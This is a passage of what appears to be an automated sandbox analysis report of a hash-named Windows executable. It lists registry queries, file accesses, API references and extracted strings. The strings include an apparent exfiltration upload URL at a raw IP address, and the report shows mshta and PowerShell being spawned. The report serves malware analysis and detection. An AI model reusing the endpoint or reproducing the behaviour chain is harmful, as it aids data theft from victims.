Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "")48:T1099,"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: "TSAPPCOMPAT"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: "TSUSERENABLED"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "E93EA2C9E689A35EF77E597A4CF34409F9C02DD74790716EAE060304995D6289"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CMF\CONFIG"; Key: "SYSTEM"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\WINDOWS ERROR REPORTING\WMR"; Key: "DISABLE"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: "SOURCEPATH"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "DEVICEPATH"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SQMCLIENT\WINDOWS"; Key: "CEIPENABLE"; Value: "")49:T7e9,"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" reads file "c:\e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" "powershell.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\config\machine.config" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\microsoft.pb378ec07#\d254c63bedcb76c81c3125bd527b7d1a\microsoft.powershell.consolehost.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\0b2f69b43a576b9edcc807a30872bd91\system.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\2c3c912ea8f058f9d04c4650128feb3f\system.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.core\31fae3290fad30c31c98651462d22724\system.core.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.manaa57fc8cc#\73a1a80aed03e789a49cec899b7505dd\system.management.automation.ni.dll.aux" "powershell.exe" reads file "c:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.utility\microsoft.powershell.utility.psm1" "powershell.exe" reads file "c:\users\%osuser%\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.data\b9463297e0537784be981f4d68498abc\system.data.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.data\df2dd09ed7c341842a104e1e668f184e\system.data.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.xml\15af16d373cf0528cb74fc73d365fdbf\system.xml.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.management\e114780fd3ea5727401c06ea4f22ef35\system.management.ni.dll.aux"4a:Taeb,"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\version.DLL" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\Windows\system32\version.DLL" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\DDRAW.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\Windows\system32\DDRAW.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\DCIMAN32.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\Windows\system32\DCIMAN32.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\dwmapi.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\Windows\system32\dwmapi.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\Windows\system32\IMM32.DLL" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\SspiCli.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\Windows\system32\SspiCli.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\FLTLIB.DLL" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\Windows\system32\FLTLIB.DLL" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\MSVCP140.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\Windows\system32\MSVCP140.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\VCRUNTIME140.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\Windows\system32\VCRUNTIME140.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\api-ms-win-crt-runtime-l1-1-0.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\Windows\system32\api-ms-win-crt-runtime-l1-1-0.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\ucrtbase.DLL" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to touch file "C:\Windows\system32\ucrtbase.DLL"4b:Td83,"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\version.DLL" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\DDRAW.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\DCIMAN32.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\dwmapi.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\SspiCli.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\FLTLIB.DLL" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\MSVCP140.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\api-ms-win-crt-runtime-l1-1-0.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\ucrtbase.DLL" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\api-ms-win-core-timezone-l1-1-0.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\api-ms-win-core-file-l2-1-0.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\api-ms-win-core-localization-l1-2-0.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\api-ms-win-core-synch-l1-2-0.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\api-ms-win-core-processthreads-l1-1-1.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\api-ms-win-core-file-l1-2-0.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\api-ms-win-crt-heap-l1-1-0.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\api-ms-win-crt-string-l1-1-0.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\api-ms-win-crt-stdio-l1-1-0.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\api-ms-win-crt-convert-l1-1-0.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\api-ms-win-crt-locale-l1-1-0.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\api-ms-win-crt-filesystem-l1-1-0.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\api-ms-win-crt-time-l1-1-0.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\api-ms-win-crt-environment-l1-1-0.dll" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\api-ms-win-crt-math-l1-1-0.dll"4c:Ta12,"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.ENU" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.EN" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\E93EA2C9E689A35EF77E597A4CF34409F9C02DD74790716EAE060304995D6289.ENU" "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" trying to access non-existent file "C:\E93EA2C9E689A35EF77E597A4CF34409F9C02DD74790716EAE060304995D6289.EN" "mshta.exe" trying to access non-existent file "C:\Windows\system32\mshta.exe.Local\" "mshta.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:Zone.Identifier" "powershell.exe" trying to access non-existent file "C:\Windows\system32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.Local\" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.xaml" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\PackageManagement.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\PackageManagement.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\PackageManagement.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\PackageManagement.xaml"4d:T10b8,Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00005644-00000C2C-212587947") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00005644-00000C2C-212588081") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00005644-00000C2C-212588149") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00005644-00000C2C-212588280") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00005644-00000C2C-212588348") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00005644-00000C2C-213075286") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp")4e:T4c2,Found reference to API "FindNextUrlCacheEntryA" (Indicator: "FindNextUrlCacheEntry"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "FindFirstUrlCacheEntryA" (Indicator: "FindFirstUrlCacheEntry"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp")4f:T118d,Found reference to API "__WSAFDIsSet" (Indicator: "__wsafdisset"; Source: "00000000-00005644-00000C2C-213075131") Found reference to API "WSACleanup" (Indicator: "wsacleanup"; Source: "00000000-00005644-00000C2C-213075215") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00005644-00000C2C-213075286") Found reference to API "WSAGetLastError" (Indicator: "wsagetlasterror"; Source: "00000000-00005644-00000C2C-213075354") Found reference to API "gethostbyname" (Indicator: "gethostbyname"; Source: "00000000-00005644-00000C2C-213075423") Found reference to API "inet_addr" (Indicator: "inet_addr"; Source: "00000000-00005644-00000C2C-213075855") Found reference to API "__WSAFDIsSet" (Indicator: "__wsafdisset"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "WSACleanup" (Indicator: "wsacleanup"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "WSAGetLastError" (Indicator: "wsagetlasterror"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "gethostbyname" (Indicator: "gethostbyname"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "inet_addr" (Indicator: "inet_addr"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "AUTHUI.DLL: Shutdown Choices Message Window" (Indicator: " shutdown "; Source: "00000000-00005644.00000000.77036.00940000.00000002.mdmp, 00000000-00005644.00000001.78962.00940000.00000002.mdmp, 00000000-00005644.00000002.80885.00940000.00000002.mdmp")50:T769,"192.168.0.2" Potential IP "185.117.72.90" found in string "1:DD10DDD11D:0:DD11DDD12D:1:DD12DDD13D:1:DD13DDD14D:1:DD14DDD15D:1:DD15DDD16D:1:DD16DDD17D:0:DD17Dal:http://185.117.72.90/upload.php:al" Potential IP "185.117.72.90" found in string "DD1D:1:DD1DDD2D:1:DD2DDD3D:1:DD3DDD4D:1:DD4DDD5D:0:DD5DDD6D:1:DD6DDD7D:1:DD7DDD8D:1:DD8DDD9D:1:DD9DDD10D:1:DD10DDD11D:0:DD11DDD12D:1:DD12DDD13D:1:DD13DDD14D:1:DD14DDD15D:1:DD15DDD16D:1:DD16DDD17D:0:DD17Dal:http://185.117.72.90/upload.php:al" Potential IP "185.117.72.90" found in string "http://185.117.72.90/upload2.php" Potential IP "185.117.72.90" found in string "D10D:1:DD10DDD11D:0:DD11DDD12D:1:DD12DDD13D:1:DD13DDD14D:1:DD14DDD15D:1:DD15DDD16D:1:DD16DDD17D:0:DD17Dal:http://185.117.72.90/upload.php:al::mainanti" Potential IP "185.117.72.90" found in string "0DDD11D:0:DD11DDD12D:1:DD12DDD13D:1:DD13DDD14D:1:DD14DDD15D:1:DD15DDD16D:1:DD16DDD17D:0:DD17Dal:http://185.117.72.90/upload.php:al::mainanti" Potential IP "185.117.72.90" found in string "D11D:0:DD11DDD12D:1:DD12DDD13D:1:DD13DDD14D:1:DD14DDD15D:1:DD15DDD16D:1:DD16DDD17D:0:DD17Dal:http://185.117.72.90/upload.php:al::mainanti" Potential IP "185.117.72.90" found in string "DD12DDD13D:1:DD13DDD14D:1:DD14DDD15D:1:DD15DDD16D:1:DD16DDD17D:0:DD17Dal:http://185.117.72.90/upload.php:al::mainanti" Potential IP "185.117.72.90" found in string "12DDD13D:1:DD13DDD14D:1:DD14DDD15D:1:DD15DDD16D:1:DD16DDD17D:0:DD17Dal:http://185.117.72.90/upload.php:al::mainanti" Potential IP "185.117.72.90" found in string "l:http://185.117.72.90/upload.php:al::mainanti" Potential IP "185.117.72.90" found in string "http://185.117.72.90/upload.php" "2.0.6.4" Potential IP "185.117.72.90" found in string "0:DD5DDD6D:1:DD6DDD7D:1:DD7DDD8D:1:DD8DDD9D:1:DD9DDD10D:1:DD10DDD11D:0:DD11DDD12D:1:DD12DDD13D:1:DD13DDD14D:1:DD14DDD15D:1:DD15DDD16D:1:DD16DDD17D:0:DD17Dal:http://185.117.72.90/upload.php:al"51:T6fe,Found reference to API "LookupAccountSidW" (Indicator: "LookupAccountSid"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 